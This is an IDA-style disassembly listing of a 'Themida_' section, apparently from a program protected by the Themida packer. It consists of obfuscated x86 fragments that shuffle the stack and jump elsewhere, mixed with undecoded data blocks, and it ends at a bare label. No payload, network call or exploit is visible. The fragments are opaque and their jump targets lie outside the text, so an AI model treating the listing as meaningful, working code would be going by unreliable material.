word_5A3536	dw 8B66h		; DATA XREF: Themida_:00590A14o
		dd 0E9522404h, 0FFFF5AEEh, 4C681h, 0DEE90000h
		db 8Bh,	2 dup(0FFh)
byte_5A354B	db 66h			; DATA XREF: Themida_:005909C8o
		dd 68240C8Bh, 7A06h, 68241C89h,	5C4Dh, 0FFD472E9h, 3E7C1FFh
		dd 0FF7375E9h, 4B8FFh, 8AE90000h, 50FFFF35h, 5366DEB4h
		dd 5DE9FFB7h
		db 16h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A357F:				; CODE XREF: Themida_:00594470j
		pop	esi
		sub	ebx, 0E774503h
		add	ebx, 587802F8h
		inc	ebx
		neg	ebx
		add	ebx, 687BE199h
		add	edx, ebx
		jmp	loc_59B02C
; ---------------------------------------------------------------------------


loc_5A359C:				; CODE XREF: Themida_:0059D75Aj
		xor	ebx, [esp]
		pop	esp
		pop	ecx
		and	eax, ebp
		push	dword ptr [esp]
		jmp	loc_599BED
; ---------------------------------------------------------------------------


loc_5A35AB:				; CODE XREF: Themida_:005A3AACj
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_5981F5
; ---------------------------------------------------------------------------
		db 0C1h, 0E2h, 2
		dd 8303EAC1h, 2C8904ECh, 0A11CBD24h, 0EA290080h, 3F2CE95Dh
		dd 3C89FFFFh, 53E78924h, 610222BBh, 38E9567Bh, 89000005h
		dd 74FF240Ch, 0C8B0424h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_59B481
; ---------------------------------------------------------------------------


loc_5A35FB:				; CODE XREF: Themida_:00596724j
		push	edx
		mov	edx, esp
		add	edx, 4
		push	edi
		mov	edi, 784B563Ah
		neg	edi
		shl	edi, 3
		dec	edi
		shl	edi, 6
		sub	edi, 69538BBCh
		sub	edx, edi
		jmp	loc_5A3FA7
; ---------------------------------------------------------------------------


loc_5A3620:				; CODE XREF: Themida_:005A46CBj
		mov	dh, cl
		xchg	ch, dh
		not	ch
		xchg	ch, dh
		mov	cl, dh
		pop	dx
		push	bx
		mov	bl, 0BEh
		sub	cl, bl
		pop	bx
		push	ebx
		mov	bl, 9
		jmp	loc_59353F
; ---------------------------------------------------------------------------
		dd 89241489h, 4C281E2h,	50000000h, 4B8h, 58C20100h, 0E9241487h
		dd 0FFFF68D1h, 81C18141h, 1FB5917h, 505559CDh, 9A6EE956h
		db 2 dup(0FFh)
word_5A366A	dw 34FFh		; DATA XREF: Themida_:00590980o
aYhgs		db '$YhGs',0
		dw 8900h
aSs_2		db ',$é˜',9,0
		db 0
; ---------------------------------------------------------------------------


loc_5A367B:				; CODE XREF: Themida_:00594CC1j
		sub	esi, ebx
		pop	ebx
		mov	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		push	edx
		mov	edx, 3BFE7284h
		xor	ebp, edx
		pop	edx
		push	edi
		mov	edi, 74E35925h
		or	ebp, edi
		pop	edi
		dec	ebp
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 2FD200B6h
		and	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		push	edx
		mov	edx, 2129089Ch
		push	edx
		dec	dword ptr [esp]
		pop	edx
		not	edx
		jmp	loc_59A431
; ---------------------------------------------------------------------------
		dd 0E4FAE94Bh, 1489FFFEh, 2DB75324h, 0FE03EFC0h, 0BBC780CFh
		dd 0FE5BFA88h, 61CA80C2h, 0FF96D8E9h, 75E95AFFh
		db 23h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A36EB:				; CODE XREF: Themida_:005A4C5Ej
		sub	edi, 106B04E5h
		pop	edx
		sub	esp, 4
		jmp	loc_5A0D29
; ---------------------------------------------------------------------------


loc_5A36FD:				; CODE XREF: Themida_:0059B7D1j
		push	ecx
		push	4
		pop	ecx
		add	ebp, ecx
		jmp	loc_594581
; ---------------------------------------------------------------------------
		db 89h
		dd 0FFB9240Ch, 1FFFFFFh, 240C8BCFh, 0E904C483h,	0FFFFB2ABh
; ---------------------------------------------------------------------------


loc_5A3720:				; CODE XREF: Themida_:00593E14j
		and	edi, 27106EFFh
		dec	edi
		sub	edi, 0DEF71CC9h
		xor	ecx, edi
		pop	edi
		push	ebp
		mov	ebp, ecx
		jmp	loc_59B788
; ---------------------------------------------------------------------------


loc_5A3738:				; CODE XREF: Themida_:00595B9Ej
		add	ebx, 67236F13h
		sub	ebx, 66936A62h
		sub	ebx, ebp
		add	ebx, 66936A62h
		sub	ebx, 67236F13h
		pop	ebp
		jmp	loc_5A55AC
; ---------------------------------------------------------------------------
		dd 4E53BE56h, 0EEC10C73h, 0BF574E06h, 29B3148Ch, 0FF7ED4E9h
		dd 0E7815DFFh, 461565E0h, 40E1F781h, 0FE294204h, 0FFBB535Fh
		dd 29FFFFFFh, 0FDE95BDEh
		db 46h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A378B:				; CODE XREF: Themida_:005941EBj
		pop	dword ptr [edi+24h]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xor	ecx, [esp]
		jmp	loc_593B9A
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 56000000h, 0C681E689h, 4, 8704C683h,	0ACE92434h, 1FFFF42h
		dd 7E685BD9h, 89000061h, 468243Ch, 5F000000h, 75E9F929h
		dd 87FFFF12h, 248B241Ch, 9BFEE924h, 3489FFFFh, 57E68924h
		dd 1646B951h, 0D1F7430Eh, 0E9D9F741h, 0FFFF10D3h
; ---------------------------------------------------------------------------


loc_5A37F8:				; CODE XREF: Themida_:005A495Fj
		mov	[esp], esi
		mov	esi, 5D30CEEBh
		add	eax, 58430A8h
		sub	eax, 733809F3h
		add	eax, esi
		add	eax, 733809F3h
		sub	eax, 58430A8h
		jmp	loc_59770F
; ---------------------------------------------------------------------------
		db 87h
		dd 0D3E92414h
		db 15h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A3823:				; CODE XREF: Themida_:005A46E7j
		pop	eax
		jmp	loc_5A4789
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 80h
		dd 12FC9A6h, 0DD295AD5h, 2609ED81h, 515B558Bh, 60DE5B9h
		dd 1BE5671h, 29000000h,	33E95EF1h, 8BFFFEFEh, 0BFE92424h
		dd 52FFFEE7h, 956564BAh, 6560B96Fh, 0D1316F95h,	28C7685Ah
		dd 52E90000h, 81FFFF5Eh, 4C2h, 0F2E95700h, 5FFFFF88h, 4E97CD81h
		dd 0D6E92C2Ch, 55FFFFB6h, 0DFF6E952h, 0BB53FFFFh, 4, 815BDD01h
		dd 4C5h, 242C8700h, 0FFB1A1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A38A5:				; CODE XREF: Themida_:005A3F69j
		add	esp, 4
		or	eax, eax
		jz	loc_594EF0
		push	dword ptr [edi+1Ch]
		push	ebx
		push	edi
		jmp	loc_598ABF
; ---------------------------------------------------------------------------
		db 29h,	6Ch, 24h
		dd 24448104h, 57298A04h, 246C8127h, 0F816E804h,	0EE7E907h
		dd 0E95B0000h, 0FFFFFB6Fh, 3304C783h, 3C31243Ch, 243C3324h
		dd 8124248Bh, 4ECh, 242C8900h, 0A110BEBDh, 0ED81451Ch
		dd 6337752Ah, 0C106EDC1h, 814505E5h, 4B3243C5h,	0EAC281A3h
		dd 1152C3Ch, 0EAEA81EAh, 8B152C3Ch, 0C481242Ch,	4, 8904EC83h
		dd 0B768243Ch, 5F178667h, 0C107EFC1h, 0EF8102EFh, 0BC32Fh
		dd 3B53C281h, 0EA8115E3h, 5D9A591Eh, 0C281FA29h, 5D9A591Eh
		dd 3B53EA81h, 875F15E3h, 895C2414h, 0EC81241Ch,	4, 0E9240489h
		dd 0FFFFB91Eh, 0B7E95266h, 87FFFF58h, 7E9240Ch,	0F6FFFFF5h
		dd 452E9DAh, 1C890000h,	66B8B724h, 880B151h, 9221E9CFh
		dd 5EBAFFFFh, 3149E619h, 0E7E95AD6h, 89FFFEEBh,	405E0h
		dd 4050000h, 87000000h,	5C2404h, 0C5805BDDh, 0E9E83085h
		dd 1B5Ah, 7557EB81h, 875E2A1Bh,	248B241Ch, 242CD224h, 0D0C9E99Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5A39D2:				; CODE XREF: Themida_:005A2DA8j
		add	ebp, ecx
		pop	ecx
		sub	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_596B0F
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 24148904h, 8B2414F6h, 0D4E92414h
		db 0C2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A39F7:				; CODE XREF: Themida_:005992F6j
		add	esp, 4
		add	edi, 4
		sub	esp, 4
		mov	[esp], ecx
		sub	esp, 4
		jmp	loc_59F979
; ---------------------------------------------------------------------------
		db 35h,	0FAh, 3Ch
		dd 0E9486167h, 0FFFFB612h, 47B9515Eh, 149912Bh,	240C8BC8h
		dd 3504C483h, 68634291h, 0E958C289h, 0FFFEFE33h, 81F70158h
		dd 0C45359C7h, 2B685147h, 59240D41h, 0BF57h, 6AE90000h
		dd 89FFFFEFh, 0EEBD242Ch, 17F3E7Ch, 6B685DEAh, 89000050h
		dd 0BEE92404h
		db 53h,	2 dup(0FFh)
byte_5A3A6B	db 0ADh			; DATA XREF: Themida_:005907E8o
		dd 5655D831h, 0FFB72BE9h, 0D6F581FFh, 0E901D80Ch, 0FFFFD850h
; ---------------------------------------------------------------------------


loc_5A3A80:				; CODE XREF: Themida_:005A5059j
		add	edi, 573B5A83h
		pop	ebx
		std
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5A35AB
; ---------------------------------------------------------------------------
		db 1, 0DAh, 5Bh
		dd 0B830EA81h, 0D001F38Bh, 0FEF5AFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A3AC1:				; CODE XREF: Themida_:00596B6Bj
		shl	ebp, 5
		push	esi
		mov	esi, 52BA203Ah
		xchg	edx, esi
		inc	edx
		push	esi
		push	edx
		pop	esi
		pop	edx
		jmp	loc_595139
; ---------------------------------------------------------------------------
		dw 0E955h
		dd 0FFFFB738h
; ---------------------------------------------------------------------------


loc_5A3ADC:				; CODE XREF: Themida_:00591FDCj
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_591A33
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 48F5A04h, 24248B24h,	0FFDE4CE9h, 0FC581FFh, 1001425h
		dd 0E95751FDh, 0FFFED529h, 8A2E2D68h, 72E95A79h, 0BEFFFFE4h
		dd 5A757F9Ch, 0FFD378E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A3B25:				; CODE XREF: Themida_:00595C7Dj
		mov	[esp], ebp
		mov	ebp, 4
		add	eax, ebp
		pop	ebp
		jmp	loc_59A4D6
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 4
		dd 87000000h, 0F65C241Ch, 68CAFED2h, 4281h, 0B0240489h
		dd 8BC228FEh, 0C6E92404h, 68FFFF42h, 61B53F85h,	0EB87E958h
		dd 0E95CFFFFh, 0FFFF8754h, 1B243481h, 5E7E8E23h, 231BF681h
		dd 6DE97E8Eh, 5000010h,	4, 5C240487h, 4C481h, 14680000h
		dd 89000032h, 6856243Ch, 45D3181Ch, 0FFC2EFE9h,	6B9668FFh
		dd 4890000h, 3CE95424h,	31FFFFC5h, 0F3215FFEh, 2C3815Eh
		dd 1ACFFFEh, 241C8BDFh,	6804C483h, 8Ah,	0BB241C89h, 4
		dd 135EF81h, 0DF015073h, 8904EC83h, 7DB9240Ch, 0C1259140h
		dd 0F74904E9h, 0F6BF57D9h, 0F7542C11h, 32CF81D7h, 0E9140523h
		dd 0FFFF7D01h, 17E68166h, 0DEF7666Bh, 4BE68166h, 0C681665Eh
		dd 2966166Ah, 24348BF0h, 0E904C483h, 0FFFF6CE5h, 8324148Bh
		dd 0E0E904C4h, 31FFFF65h, 34332434h, 2C895C24h,	225E6824h
		dd 0E2E90000h
		db 0Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A3C37:				; CODE XREF: Themida_:005A0E75j
		add	dword ptr [esp], 4EB14E62h
		jmp	loc_5A4648
; ---------------------------------------------------------------------------


loc_5A3C43:				; CODE XREF: Themida_:005A0D65j
		push	edi
		mov	edi, 662A4111h
		and	ebp, edi
		pop	edi
		and	ebp, 6B067E0Fh
		add	ebp, 3C017F87h
		sub	ebp, 0F0BA0AD0h
		mov	ebx, ebp
		pop	ebp
		sub	ebx, ebp
		pop	ebp
		jmp	loc_59F79B
; ---------------------------------------------------------------------------
aFi4S		db 'f‰4$éÇ',7,0
		align 2


loc_5A3C72:				; CODE XREF: Themida_:00594EE4j
		mov	ecx, esi
		pop	esi
		jmp	loc_5A055B
; ---------------------------------------------------------------------------
		dw 0D488h
		dd 0E958E588h, 0FFFF5893h
; ---------------------------------------------------------------------------


loc_5A3C84:				; CODE XREF: Themida_:0059142Cj
		mov	[esp], edi
		mov	edi, 12E962EDh
		neg	edi
		xor	edi, 2BFA6B59h
		xor	edi, 0DF8CBA83h
		add	ebx, edi
		pop	edi
		push	ecx
		mov	ecx, 67054331h
		xor	ebx, ecx
		pop	ecx
		push	ecx
		jmp	loc_59EADF
; ---------------------------------------------------------------------------
		dd 0C89BA52h, 0D7894EA7h, 0BD41E95Ah, 2489FFFFh, 0BAE95624h
		db 20h,	2 dup(0FFh)
byte_5A3CC3	db 66h			; DATA XREF: Themida_:00590904o
		dd 8124048Bh, 4ECh, 240C8900h, 0FF6BCFE9h, 24148BFFh, 4C481h
		dd 50520000h, 0FFBD5CE9h, 1C8B66FFh, 2C48124h, 68000000h
		dd 3E9Eh, 0FFF9D1E9h, 2897B4FFh, 0A6D2E9E7h, 489FFFFh
		dd 2898B424h, 24048BE2h, 4C481h, 88530000h, 8BF988D7h
		dd 8956241Ch, 4C681E6h,	81000000h, 4C6h, 24348700h, 27E95A5Ch
		dd 81FFFFA1h, 4C4h, 0E9535200h,	0FFFF544Bh, 0F205F9BDh
		dd 0D0B95155h, 173C830h, 666BE9CDh, 76B0FFFFh, 0CE95C04h
		dd 59FFFEF7h, 815A5452h, 4C2h, 0E786E900h, 285AFFFEh, 241C8BF9h
		dd 6604C483h, 0CA885250h, 148BD488h, 0A63EE924h, 0BBB1FFFFh
		dd 1DE9D100h, 0FFFFFF6Ah, 0E9042474h, 0FFFF07B6h, 2BAh
		dd 7C18100h, 146C728h, 7E981D1h, 8B46C728h, 0C4812414h
		dd 4, 502E68h, 0F829E900h, 0EB29FFFFh, 783AC381h, 8B5D01B5h
		dd 0C4832404h, 0CCCDE904h, 0E952FFFEh, 0FFFF6254h, 802CEA80h
		dd 0D70879EAh, 44EF805Ah, 201AB050h, 9D24E9C7h,	0C231FFFFh
		dd 0FF175BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A3DF1:				; CODE XREF: Themida_:005949ABj
		push	edx
		mov	edx, 0EF14CBE3h
		xor	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_59AFE3
; ---------------------------------------------------------------------------
		db 0FFh
		dd 34FF2434h, 0C2E95824h, 66000000h, 0E9240C89h, 0FFFEDFBFh
		dd 8BFC8859h, 0C483241Ch, 435BE904h, 0E958FFFFh, 0FFFFE381h
; ---------------------------------------------------------------------------


loc_5A3E30:				; CODE XREF: Themida_:005A1AF4j
		add	edx, 6B937D0Eh
		add	edi, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_596BB4
; ---------------------------------------------------------------------------
		db 28h
		dd 0ED4E9D8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A3E4A:				; CODE XREF: Themida_:0059BC31j
		xor	eax, ebp
		jmp	loc_590CED
; ---------------------------------------------------------------------------
		db 83h,	0EFh, 2
		dd 31243C33h, 6AE9243Ch, 5CFFFF8Bh, 2904C483h, 96B850C2h
		dd 8157BE2Eh, 2A76BEC2h, 2536E95Fh, 148BFFFFh, 40E95524h
		dd 81FFFFE7h, 0CAD012C6h, 5EF38959h, 0FFFC24E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A3E8D:				; CODE XREF: Themida_:0059FA22j
		add	ebx, eax
		pop	eax
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		xchg	ebx, [esp]
		pop	esp
		push	ebx
		mov	ebx, 8613A36h
		mov	eax, ebx
		pop	ebx
		add	eax, 25A41CF7h
		sub	eax, edi
		jmp	loc_596E23
; ---------------------------------------------------------------------------
		dw 0B850h
		dd 74B55F7h, 4D63548h, 0C1817679h, 7AB37672h, 0E749E956h
		dd 0C281FFFFh, 4, 0FFDBC9E9h, 4C481FFh,	68000000h, 2CBDh
		dd 54241C89h, 55241C8Bh, 22FCE954h, 8150FFFFh, 24A62434h
		dd 0BDE920C6h, 83FFFFE0h, 2C8904ECh, 10E95124h,	5FFFEDDh
		dd 4, 4BA52h, 542D0000h, 2D07A91Fh, 1A4C23E9h, 0AC6F062Dh
		dd 5D00141h, 41AC6F06h,	0FEEB6CE9h, 3F34BBFFh, 0A3E90F12h
		dd 0BAFFFEE8h, 53825B79h, 3E2C142h, 8305E2C1h, 0E94A01C2h
		dd 0FFFF4036h, 29E9F328h
		db 93h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A3F53:				; CODE XREF: Themida_:0059B7F1j
		xchg	edi, [esp]
		jmp	loc_59E103
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0EDE92424h
		db 84h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A3F63:				; CODE XREF: Themida_:0059584Dj
		and	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_5A38A5
; ---------------------------------------------------------------------------
word_5A3F6E	dw 5251h		; DATA XREF: Themida_:005909F8o
		dd 0C2815A54h, 4, 4EA81h, 62E90000h
		db 0A9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A3F83:				; CODE XREF: Themida_:0059D087j
		xor	ah, dh
		jmp	loc_59B720
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 81E58924h, 4C5h, 4ED8100h, 87000000h, 895C242Ch, 0AFE92404h
		db 0E0h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5A3FA7:				; CODE XREF: Themida_:005A361Bj
		pop	edi
		xchg	edx, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_598613
; ---------------------------------------------------------------------------


loc_5A3FB4:				; CODE XREF: Themida_:005A0217j
		add	ebp, 4
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_59FBDB
; ---------------------------------------------------------------------------
		dd 405E089h, 83000000h,	48704E8h, 67E95C24h
		db 35h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A3FDB:				; CODE XREF: Themida_:00591034j
		shl	esi, 8
		jmp	loc_592CF6
; ---------------------------------------------------------------------------


loc_5A3FE3:				; CODE XREF: Themida_:0059E5FDj
		push	edx
		mov	edx, 21CC43B3h
		jmp	loc_591F20
; ---------------------------------------------------------------------------
		dw 7868h
		dd 58658E0Dh, 74BE5657h, 0C14E0E50h, 0EE8108E6h, 3FFA08A1h
		dd 0DEF7E6D1h, 1E30E681h, 36E9678Fh, 89FFFF3Eh,	6B03E9E5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A401A:				; CODE XREF: Themida_:0059B82Aj
		add	[esp+8], eax
		pop	eax
		jmp	loc_59CEA0
; ---------------------------------------------------------------------------
		dd 241C895Ch, 0FFD8A1E9h, 2C783FFh, 0FF301AE9h,	4C181FFh
		dd 87000000h, 815C240Ch, 4C4h, 0CA51E900h, 5156FFFEh, 0B61100B9h
		dd 3F25E938h, 1489FFFFh, 5A6ABA24h, 564A50DAh, 0AA0F36BEh
		dd 0EE814E0Fh, 0C3F390E7h, 925EF209h, 0D3E99240h, 8BFFFFFFh
		dd 0C1212424h, 6E9C158h, 22C568h, 242C8900h, 4EC81h, 4890000h
		dd 0E0895024h, 0FF3DA3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A4099:				; CODE XREF: Themida_:00598ABAj
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		pop	dword ptr [edi+40h]
		push	dword ptr [esp]
		jmp	loc_598504
; ---------------------------------------------------------------------------
		dd 6106ABBBh, 0F957BE70h, 0DE018F9Eh, 8BF1015Bh, 89532434h
		dd 4C381E3h, 83000000h,	0D5E904C3h, 89000002h, 76BB241Ch
		dd 0C16B8558h, 814B02EBh, 0E15618EBh, 7C5811Ah,	81192860h
		dd 770EB4C5h, 81DD0149h, 770EB4EDh, 7ED8149h, 5B192860h
		dd 0E904EC83h, 0FFFF35B2h, 0E9EE2858h, 0FFFEE215h, 3104C483h
		dd 3E5468D2h, 1C890000h, 1065E924h, 4BF0000h, 1000000h
		dd 5F04247Ch, 4C6815Eh,	68000000h, 2898h, 0FFACC8E9h, 5D829FFh
		dd 40D764EDh, 4837F105h, 2434FF00h, 4C4835Bh, 0FF6FF1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A4155:				; CODE XREF: Themida_:0059EF58j
		pop	ebp
		mov	ebp, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_5937BA
; ---------------------------------------------------------------------------
		dw 0C9B9h
		dd 8158551Fh, 0E067BC9h, 4EF1816Eh, 81274038h, 1F2E39F1h
		dd 2E1C158h, 25C0E181h,	0C1817C8Bh, 6F741B59h, 6859CB21h
		dd 430Eh, 0E9240C89h, 11BBh, 4244401h, 4246C81h, 2E13316Eh
		dd 5850BD55h, 6C2919B2h, 0FF5D0824h, 43E92434h
		db 0E8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A41D7:				; CODE XREF: Themida_:005A1479j
		mov	edi, [esp]
		push	7908h
		jmp	loc_59D5A5
; ---------------------------------------------------------------------------
		dd 81242C8Bh, 4C4h, 4C58100h, 53000000h, 4EC81h, 14890000h
		dd 5D2CBA24h, 0D38910B2h, 0FF60F0E9h, 241487FFh, 0BB96E95Ch
		dd 8850FFFFh, 0E9C188F0h, 0FFFFD59Ch
; ---------------------------------------------------------------------------


loc_5A421C:				; CODE XREF: Themida_:0059DF34j
		mov	ebx, [esp]
		add	esp, 4
		xor	eax, 7AC0C3E8h
		push	eax
		mov	edi, [esp]
		jmp	loc_59AA5C
; ---------------------------------------------------------------------------
		db 1
		dd 0E7EB81EBh, 8B0EEF64h, 8950242Ch, 405E0h, 4050000h
		dd 87000000h, 515C2404h, 4B9h, 59CB0100h, 31241C33h, 1C33241Ch
		dd 24248B24h, 0FFD777E9h, 0E9E589FFh, 0FFFF2C8Ch, 50243489h
		dd 1E240481h, 0FF422117h, 835E2434h, 6EE904C4h
		db 3Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A4287:				; CODE XREF: Themida_:00599F5Ej
		push	esp
		jmp	loc_5A148D
; ---------------------------------------------------------------------------


loc_5A428D:				; CODE XREF: Themida_:00599A5Aj
		xchg	esi, [esp]
		mov	esp, [esp]
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		push	ecx
		jmp	loc_592EB3
; ---------------------------------------------------------------------------
		dw 0CE89h
		dd 52240C8Bh, 0FF5C23E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A42B9:				; CODE XREF: Themida_:0059C991j
		push	35E6h
		jmp	loc_59AA79
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4812414h, 4, 4C50E681h, 0E9524FE8h, 0FFFFF6BAh, 0E95AD589h
		dd 0FFFF70AAh, 293BF281h, 0DDE90AA2h, 0FFFFFF6Eh, 53582434h
		dd 0C381E389h, 4, 0FF408CE9h, 11DB8FFh,	0C131336Ah, 59CB2958h
		dd 6851F329h, 1F83h, 0BE243489h, 31F2411Dh, 24048156h
		dd 485F28DAh, 0FFD93AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A4325:				; CODE XREF: Themida_:0059D8B3j
		sub	edi, 37416B39h
		mov	ebx, [esp]
		add	esp, 4
		push	5753h
		mov	[esp], ebx
		mov	ebx, 11AF4CA1h
		neg	ebx
		push	esi
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 0
		mov	esi, edi
		pop	edi
		sub	esi, ebx
		mov	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		xchg	ebp, ebx
		dec	ebp
		xchg	ebp, ebx
		jmp	loc_592B5C
; ---------------------------------------------------------------------------
		db 29h,	0FAh, 0E9h
		dd 0FFFF303Dh
; ---------------------------------------------------------------------------


loc_5A4370:				; CODE XREF: Themida_:00591841j
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		pop	ecx
		or	edi, 781952D7h
		shl	edi, 4
		xor	edi, 0AE2FAF23h
		add	eax, 3B6964CDh
		sub	eax, 518B0532h
		sub	eax, edi
		add	eax, 518B0532h
		push	ebx
		mov	ebx, 3B6964CDh
		sub	eax, ebx
		mov	ebx, [esp]
		jmp	loc_593F76
; ---------------------------------------------------------------------------
		dd 5C241C87h, 5C240C87h, 0B3DE9h
		db 0
; ---------------------------------------------------------------------------


loc_5A43B5:				; CODE XREF: Themida_:005A038Aj
		xchg	edi, [esp]
		pop	esp
		push	ecx
		mov	ecx, esp
		push	edi
		push	esi
		mov	esi, 4
		mov	edi, esi
		pop	esi
		add	ecx, edi
		jmp	loc_5A1E81
; ---------------------------------------------------------------------------


loc_5A43CD:				; CODE XREF: Themida_:005A27C7j
		mov	[esp], ebp
		mov	ebp, 4
		add	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	63D3h
		mov	[esp], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_59733C
; ---------------------------------------------------------------------------


loc_5A4402:				; CODE XREF: Themida_:00593A35j
		pop	eax
		xchg	ecx, [esp]
		pop	esp
		push	edi
		jmp	loc_59FC83
; ---------------------------------------------------------------------------
		dd offset dword_455248+24020h
		align 2
		dw 2C89h
		dd 0CB9BD24h, 52504C43h, 0C639B68h, 0EA815A57h,	4B641C69h
		dd 93E9D089h
		db 44h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A442F:				; CODE XREF: Themida_:005A4773j
		sub	eax, 65D37AF1h
		jmp	loc_592E32
; ---------------------------------------------------------------------------
		db 66h,	0BEh, 2Eh
		dd 0F3296652h, 0FF7110E9h, 241C33FFh, 33241C31h, 248B241Ch
		dd 241C3324h, 33241C31h, 665C241Ch, 2404B30Fh, 0C635E99Ch
		dd 0C581FFFEh, 4, 0FEE94FE9h, 63BE56FFh, 0D13B5773h, 46D6F7EEh
		dd 2069EE81h, 0EE810FE4h, 9649D69Ah, 0E95EF209h, 0FFFFE805h
; ---------------------------------------------------------------------------


loc_5A4490:				; CODE XREF: Themida_:0059A1D0j
		sub	ebp, eax
		mov	eax, [esp]
		jmp	loc_59F526
; ---------------------------------------------------------------------------
		dw 7968h
		dd 8900007Bh, 4BB241Ch,	29000000h, 0DFE95BDEh, 57FFFF8Ah
		dd 42474FFh, 0E9243C8Bh, 0FFFFC25Fh, 8B241C87h,	23E92424h
		dd 0D3FFFF2Fh, 0E99C242Ch, 0FFFEC5CBh, 2C8BEB01h, 8755E924h
		dd 0CF29FFFFh, 0FF1A1DE9h, 4594BFFFh, 7C290C7Fh, 5E5F0424h
		dd 627DE957h, 505CFFFFh, 42474FFh, 8B2434FFh, 0A2E92404h
		db 0F2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A4503:				; CODE XREF: Themida_:0059CB17j
		add	esp, 4
		add	eax, 0B25344Ah
		jmp	loc_5934B2
; ---------------------------------------------------------------------------
		dd 0D2468h, 243C8900h, 4EC81h, 99E90000h
		db 0D9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A4523:				; CODE XREF: Themida_:005927BAj
		xchg	esi, ebx
		not	esi
		xchg	esi, ebx
		jmp	loc_5949AA
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 70B8B924h, 0C9813119h, 6C733848h, 8106E1C1h,	4F5920E9h
		dd 0F1814944h, 46502EEEh, 7753E981h, 0F7E9F413h, 29FFFF61h
		dd 0C1C181F1h, 817ADD0Bh, 0C66644E9h, 82C18103h, 8B587342h
		dd 0C4812434h, 4, 47EDC681h, 0CE295751h, 47EDEE81h, 33595751h
		dd 34312434h, 24343324h, 0E924248Bh, 0FFFFE276h, 815FF921h
		dd 0A2051E9h, 59CE8915h, 348BF301h, 4C48124h, 68000000h
		dd 7E51h, 0E9241C89h, 0FFFF96ACh
; ---------------------------------------------------------------------------


loc_5A45B8:				; CODE XREF: Themida_:0059FBF9j
		xchg	ebp, [esp]
		pop	esp
		push	4C01h
		mov	[esp], edi
		push	eax
		mov	eax, 5B4847D8h
		push	eax
		xor	dword ptr [esp], 4C05628Fh
		pop	edi
		xor	edi, 4C05628Fh
		jmp	loc_59FB05
; ---------------------------------------------------------------------------
		dw 3487h
		dd 1FE3E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A45E6:				; CODE XREF: Themida_:0059507Fj
